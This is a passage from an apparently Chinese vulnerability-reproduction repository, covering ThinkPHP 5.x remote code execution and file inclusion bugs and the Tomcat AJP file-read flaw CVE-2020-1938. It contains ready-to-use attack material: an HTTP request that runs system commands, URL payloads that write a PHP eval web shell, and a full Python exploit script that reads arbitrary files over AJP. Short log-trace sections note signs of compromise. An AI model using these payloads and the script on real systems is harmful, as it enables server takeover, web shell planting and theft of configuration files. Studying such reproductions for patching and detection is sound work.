报错信息的) 41 | 42 | ![](assets/poc.png) 43 | 44 | 45 | -------------------------------------------------------------------------------- /thinkphp/thinkphp5023_rce/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/thinkphp/thinkphp5023_rce/assets/poc.png -------------------------------------------------------------------------------- /thinkphp/thinkphp5023_rce/assets/trace.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/thinkphp/thinkphp5023_rce/assets/trace.png -------------------------------------------------------------------------------- /thinkphp/thinkphp5023_rce/readme.md: -------------------------------------------------------------------------------- 1 | thinkphp5.0.23远程代码执行漏洞 2 | -- 3 | ### 前言 4 | 本文主要以官网下载的5.0.23 完整版(thinkphp_5.0.23_with_extend.zip)为例进行复现,不过好像现在官网没有提供5.0.23版本的下载,去其他地方下载也是一样的。 5 | 6 | ### 漏洞描述 7 | 8 | ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,在获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。 9 | 10 | ### 漏洞利用前提 11 | 12 | 版本:5.0.23 13 | 14 | 15 | ### 漏洞利用方法 16 | 17 | 利用很简单,发送payload如下: 18 | 19 | ``` 20 | POST /thinkphp5023/public/index.php/?s=captcha HTTP/1.1 21 | Host: 127.0.0.1 22 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 23 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 24 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 25 | Accept-Encoding: gzip, deflate 26 | Content-Type: application/x-www-form-urlencoded 27 | Content-Length: 72 28 | Connection: close 29 | Referer: http://127.0.0.1/thinkphp5023/public/index.php/?s=captcha 30 | Cookie: bdshare_firstime=1564113816358; PHPSESSID=c4705d096482050230446d56e749fb05 31 | Upgrade-Insecure-Requests: 1 32 | Pragma: no-cache 33 | Cache-Control: no-cache 34 | 35 | _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id 36 | ``` 37 | 38 | 虽然会报错,但是命令也会成功执行 39 | 40 | ![](assets/poc.png) 41 | 42 | 想要执行其他命令只要替换server[REQUEST_METHOD]的值为其他命令就行 43 | 44 | ### 痕迹分析 45 | 46 | 查看http日志 47 | 48 | ![](assets/trace.png) 49 | 50 | 如果日志中有index.php?s=captcha 并且状态码为500的请求,我们就有利用怀疑是被入侵了。 51 | 52 | ### 参考 53 | 54 | 分析:http://0day5.com/archives/4550/ 55 | -------------------------------------------------------------------------------- /thinkphp/thinkphp5_lfi/assets/phpinfo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/thinkphp/thinkphp5_lfi/assets/phpinfo.png -------------------------------------------------------------------------------- /thinkphp/thinkphp5_lfi/readme.md: -------------------------------------------------------------------------------- 1 | thinkphp5 本地文件包含复现 2 | -- 3 | 4 | ### 漏洞简介 5 | 6 | 本次漏洞存在于 ThinkPHP 模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致 文件包含漏洞 的产生。漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10。 7 | 8 | ### 复现环境 9 | 10 | linux集成环境:lammp 11 | thinkphp 5.0.18 12 | 13 | ### 利用方法 14 | 15 | 更改application/index/controller/Index.php 控制器的代码,如下: 16 | 17 | ```php 18 | <?php 19 | namespace app\index\controller; 20 | use think\Controller; 21 | class Index extends Controller 22 | { 23 | public function index() 24 | { 25 | $this->assign(request()->get()); 26 | return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html 27 | } 28 | } 29 | ``` 30 | 31 | 然后创建文件application/index/view/index/index.html,内容随意,必须有这个文件,否则会报错。 32 | 33 | 然后在public目录下创建一个123.jpg文件,这个是为了模拟真实环境中的文件上传。最后只需要访问如下url 34 | `http://127.0.0.1/thinkphp5018/public/index/index/index?cacheFile=123.jpg`,就会得到phpinfo信息,其中123.jpg文件的内容为 35 | 36 | ```php 37 | <?php 38 | phpinfo(); 39 | ?> 40 | ``` 41 | ![](assets/phpinfo.png) 42 | 43 | ### 漏洞分析 44 | 45 | -------------------------------------------------------------------------------- /thinkphp/thinkphp5_rce/assets/browser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/thinkphp/thinkphp5_rce/assets/browser.png -------------------------------------------------------------------------------- /thinkphp/thinkphp5_rce/assets/burp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/thinkphp/thinkphp5_rce/assets/burp.png -------------------------------------------------------------------------------- /thinkphp/thinkphp5_rce/assets/trace.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/thinkphp/thinkphp5_rce/assets/trace.png -------------------------------------------------------------------------------- /thinkphp/thinkphp5_rce/readme.md: -------------------------------------------------------------------------------- 1 | ### 参考 2 | 3 | freebuf上比较全面的复现及分析:https://www.freebuf.com/vuls/191847.html 4 | 5 | ### 影响范围 6 | 7 | v5 8 | ### 漏洞描述 9 | 10 | ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。 11 | 12 | ### 复现 13 | 14 | 复现环境: thinkphp5.0.12 15 | 16 | 看了上面的那篇文章,才知道win平台与linux平台payload不太一样,我这里是linux平台。 17 | 18 | **写phpinfo** 19 | 20 | `/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1` 21 | 22 | ![](assets/burp.png) 23 | 24 | ![](assets/browser.png) 25 | 26 | **写一句话木马** 27 | 28 | `/index.php/?s=index/\think\template\driver\file/write&cacheFile=axin.php&content=<?php @eval($_POST[axin]);?>` 29 | 30 | 31 | ### 痕迹分析 32 | 33 | 直接查看http日志 34 | 35 | ![](assets/trace.png) 36 | 37 | ### 参考 38 | 39 | https://github.com/artsploit/solr-injection -------------------------------------------------------------------------------- /tomcat/tomcat-ajp-lfi/README.md: -------------------------------------------------------------------------------- 1 | CVE-2020-1938 2 | -- 3 | ### 漏洞简介 4 | 5 | 2月14日,Apache Tomcat官方发布了一个安全更新版本,用于修复Tomcat中存在的一个利用AJP协议的漏洞。利用该漏洞,攻击者可以通过发送恶意的AJP请求,在未授权的情况下读取或者包含webapp目录下的任意文件。 6 | 7 | ### 影响版本 8 | 9 | - Apache Tomcat6 10 | 11 | - Apache Tomcat7 < 7.0.100 12 | 13 | - Apache Tomcat8 < 8.5.51 14 | 15 | - Apache Tomcat9 < 9.0.31 16 | 17 | 18 | ### 复现过程 19 | 20 | #### 环境 21 | 22 | - win10 23 | - jdk 1.8 24 | - python2 25 | - tomcat 8.0.39 26 | 27 | poc来源: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/blob/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py 28 | 29 | 安装好tomcat后,运行tomcat,确认8009端口处于监听状态,然后运行poc: 30 | 31 | `D:\Python27\python.exe D:/vuls/tomcat_lfi_cve20201938.py -p 8009 -f WEB-INF/web.xml localhost` 32 | 33 | poc会显示被包含的文件的内容 34 | 35 | ![](assets/poc.png) 36 | 37 | 38 | ### 其他 39 | ```python 40 | #!/usr/bin/env python 41 | #CNVD-2020-10487 Tomcat-Ajp lfi 42 | #by ydhcui 43 | import struct 44 | 45 | # Some references: 46 | # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html 47 | def pack_string(s): 48 | if s is None: 49 | return struct.pack(">h", -1) 50 | l = len(s) 51 | return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) 52 | def unpack(stream, fmt): 53 | size = struct.calcsize(fmt) 54 | buf = stream.read(size) 55 | return struct.unpack(fmt, buf) 56 | def unpack_string(stream): 57 | size, = unpack(stream, ">h") 58 | if size == -1: # null string 59 | return None 60 | res, = unpack(stream, "%ds" % size) 61 | stream.read(1) # \0 62 | return res 63 | class NotFoundException(Exception): 64 | pass 65 | class AjpBodyRequest(object): 66 | # server == web server, container == servlet 67 | SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) 68 | MAX_REQUEST_LENGTH = 8186 69 | def __init__(self, data_stream, data_len, data_direction=None): 70 | self.data_stream = data_stream 71 | self.data_len = data_len 72 | self.data_direction = data_direction 73 | def serialize(self): 74 | data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) 75 | if len(data) == 0: 76 | return struct.pack(">bbH", 0x12, 0x34, 0x00) 77 | else: 78 | res = struct.pack(">H", len(data)) 79 | res += data 80 | if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: 81 | header = struct.pack(">bbH", 0x12, 0x34, len(res)) 82 | else: 83 | header = struct.pack(">bbH", 0x41, 0x42, len(res)) 84 | return header + res 85 | def send_and_receive(self, socket, stream): 86 | while True: 87 | data = self.serialize() 88 | socket.send(data) 89 | r = AjpResponse.receive(stream) 90 | while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: 91 | r = AjpResponse.receive(stream) 92 | 93 | if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: 94 | break 95 | class AjpForwardRequest(object): 96 | _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) 97 | REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} 98 | # server == web server, container == servlet 99 | SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) 100 | COMMON_HEADERS = ["SC_REQ_ACCEPT", 101 | "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", 102 | "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", 103 | "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" 104 | ] 105 | ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] 106 | def __init__(self, data_direction=None): 107 | self.prefix_code = 0x02 108 | self.method = None 109 | self.protocol = None 110 | self.req_uri = None 111 | self.remote_addr = None 112 | self.remote_host = None 113 | self.server_name = None 114 | self.server_port = None 115 | self.is_ssl = None 116 | self.num_headers = None 117 | self.request_headers = None 118 | self.attributes = None 119 | self.data_direction = data_direction 120 | def pack_headers(self): 121 | self.num_headers = len(self.request_headers) 122 | res = "" 123 | res = struct.pack(">h", self.num_headers) 124 | for h_name in self.request_headers: 125 | if h_name.startswith("SC_REQ"): 126 | code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 127 | res += struct.pack("BB", 0xA0, code) 128 | else: 129 | res += pack_string(h_name) 130 | 131 | res += pack_string(self.request_headers[h_name]) 132 | return res 133 | 134 | def pack_attributes(self): 135 | res = b"" 136 | for attr in self.attributes: 137 | a_name = attr['name'] 138 | code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 139 | res += struct.pack("b", code) 140 | if a_name == "req_attribute": 141 | aa_name, a_value = attr['value'] 142 | res += pack_string(aa_name) 143 | res += pack_string(a_value) 144 | else: 145 | res += pack_string(attr['value']) 146 | res += struct.pack("B", 0xFF) 147 | return res 148 | def serialize(self): 149 | res = "" 150 | res = struct.pack("bb", self.prefix_code, self.method) 151 | res += pack_string(self.protocol) 152 | res += pack_string(self.req_uri) 153 | res += pack_string(self.remote_addr) 154 | res += pack_string(self.remote_host) 155 | res += pack_string(self.server_name) 156 | res += struct.pack(">h", self.server_port) 157 | res += struct.pack("?", self.is_ssl) 158 | res += self.pack_headers() 159 | res += self.pack_attributes() 160 | if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: 161 | header = struct.pack(">bbh", 0x12, 0x34, len(res)) 162 | else: 163 | header = struct.pack(">bbh", 0x41, 0x42, len(res)) 164 | return header + res 165 | def parse(self, raw_packet): 166 | stream = StringIO(raw_packet) 167 | self.magic1, self.magic2, data_len = unpack(stream, "bbH") 168 | self.prefix_code, self.method = unpack(stream, "bb") 169 | self.protocol = unpack_string(stream) 170 | self.req_uri = unpack_string(stream) 171 | self.remote_addr = unpack_string(stream) 172 | self.remote_host = unpack_string(stream) 173 | self.server_name = unpack_string(stream) 174 | self.server_port = unpack(stream, ">h") 175 | self.is_ssl = unpack(stream, "?") 176 | self.num_headers, = unpack(stream, ">H") 177 | self.request_headers = {} 178 | for i in range(self.num_headers): 179 | code, = unpack(stream, ">H") 180 | if code > 0xA000: 181 | h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] 182 | else: 183 | h_name = unpack(stream, "%ds" % code) 184 | stream.read(1) # \0 185 | h_value = unpack_string(stream) 186 | self.request_headers[h_name] = h_value 187 | def send_and_receive(self, socket, stream, save_cookies=False): 188 | res = [] 189 | i = socket.sendall(self.serialize()) 190 | if self.method == AjpForwardRequest.POST: 191 | return res 192 | 193 | r = AjpResponse.receive(stream) 194 | assert r.prefix_code == AjpResponse.SEND_HEADERS 195 | res.append(r) 196 | if save_cookies and 'Set-Cookie' in r.response_headers: 197 | self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] 198 | 199 | # read body chunks and end response packets 200 | while True: 201 | r = AjpResponse.receive(stream) 202 | res.append(r) 203 | if r.prefix_code == AjpResponse.END_RESPONSE: 204 | break 205 | elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: 206 | continue 207 | else: 208 | raise NotImplementedError 209 | break 210 | 211 | return res 212 | 213 | class AjpResponse(object): 214 | _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) 215 | COMMON_SEND_HEADERS = [ 216 | "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", 217 | "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" 218 | ] 219 | def parse(self, stream): 220 | # read headers 221 | self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") 222 | 223 | if self.prefix_code == AjpResponse.SEND_HEADERS: 224 | self.parse_send_headers(stream) 225 | elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: 226 | self.parse_send_body_chunk(stream) 227 | elif self.prefix_code == AjpResponse.END_RESPONSE: 228 | self.parse_end_response(stream) 229 | elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: 230 | self.parse_get_body_chunk(stream) 231 | else: 232 | raise NotImplementedError 233 | 234 | def parse_send_headers(self, stream): 235 | self.http_status_code, = unpack(stream, ">H") 236 | self.http_status_msg = unpack_string(stream) 237 | self.num_headers, = unpack(stream, ">H") 238 | self.response_headers = {} 239 | for i in range(self.num_headers): 240 | code, = unpack(stream, ">H") 241 | if code <= 0xA000: # custom header 242 | h_name, = unpack(stream, "%ds" % code) 243 | stream.read(1) # \0 244 | h_value = unpack_string(stream) 245 | else: 246 | h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] 247 | h_value = unpack_string(stream) 248 | self.response_headers[h_name] = h_value 249 | 250 | def parse_send_body_chunk(self, stream): 251 | self.data_length, = unpack(stream, ">H") 252 | self.data = stream.read(self.data_length+1) 253 | 254 | def parse_end_response(self, stream): 255 | self.reuse, = unpack(stream, "b") 256 | 257 | def parse_get_body_chunk(self, stream): 258 | rlen, = unpack(stream, ">H") 259 | return rlen 260 | 261 | @staticmethod 262 | def receive(stream): 263 | r = AjpResponse() 264 | r.parse(stream) 265 | return r 266 | 267 | import socket 268 | 269 | def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): 270 | fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) 271 | fr.method = method 272 | fr.protocol = "HTTP/1.1" 273 | fr.req_uri = req_uri 274 | fr.remote_addr = target_host 275 | fr.remote_host = None 276 | fr.server_name = target_host 277 | fr.server_port = 80 278 | fr.request_headers = { 279 | 'SC_REQ_ACCEPT': 'text/html', 280 | 'SC_REQ_CONNECTION': 'keep-alive', 281 | 'SC_REQ_CONTENT_LENGTH': '0', 282 | 'SC_REQ_HOST': target_host, 283 | 'SC_REQ_USER_AGENT': 'Mozilla', 284 | 'Accept-Encoding': 'gzip, deflate, sdch', 285 | 'Accept-Language': 'en-US,en;q=0.5', 286 | 'Upgrade-Insecure-Requests': '1', 287 | 'Cache-Control': 'max-age=0' 288 | } 289 | fr.is_ssl = False 290 | fr.attributes = [] 291 | return fr 292 | 293 | class Tomcat(object): 294 | def __init__(self, target_host, target_port): 295 | self.target_host = target_host 296 | self.target_port = target_port 297 | 298 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 299 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 300 | self.socket.connect((target_host, target_port)) 301 | self.stream = self.socket.makefile("rb", bufsize=0) 302 | 303 | def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): 304 | self.req_uri = req_uri 305 | self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) 306 | print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) 307 | if user is not None and password is not None: 308 | self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') 309 | for h in headers: 310 | self.forward_request.request_headers[h] = headers[h] 311 | for a in attributes: 312 | self.forward_request.attributes.append(a) 313 | responses = self.forward_request.send_and_receive(self.socket, self.stream) 314 | if len(responses) == 0: 315 | return None, None 316 | snd_hdrs_res = responses[0] 317 | data_res = responses[1:-1] 318 | if len(data_res) == 0: 319 | print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) 320 | return snd_hdrs_res, data_res 321 | 322 | ''' 323 | javax.servlet.include.request_uri 324 | javax.servlet.include.path_info 325 | javax.servlet.include.servlet_path 326 | ''' 327 | 328 | import argparse 329 | parser = argparse.ArgumentParser() 330 | parser.add_argument("target", type=str, help="Hostname or IP to attack") 331 | parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") 332 | parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") 333 | args = parser.parse_args() 334 | t = Tomcat(args.target, args.port) 335 | _,data = t.perform_request('/asdf',attributes=[ 336 | {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, 337 | {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, 338 | {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, 339 | ]) 340 | print('----------------------------') 341 | print("".join([d.data for d in data])) 342 | 343 | ``` 344 | 345 | -------------------------------------------------------------------------------- /tomcat/tomcat-ajp-lfi/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/tomcat/tomcat-ajp-lfi/assets/poc.png --------------------------------------------------------------------------------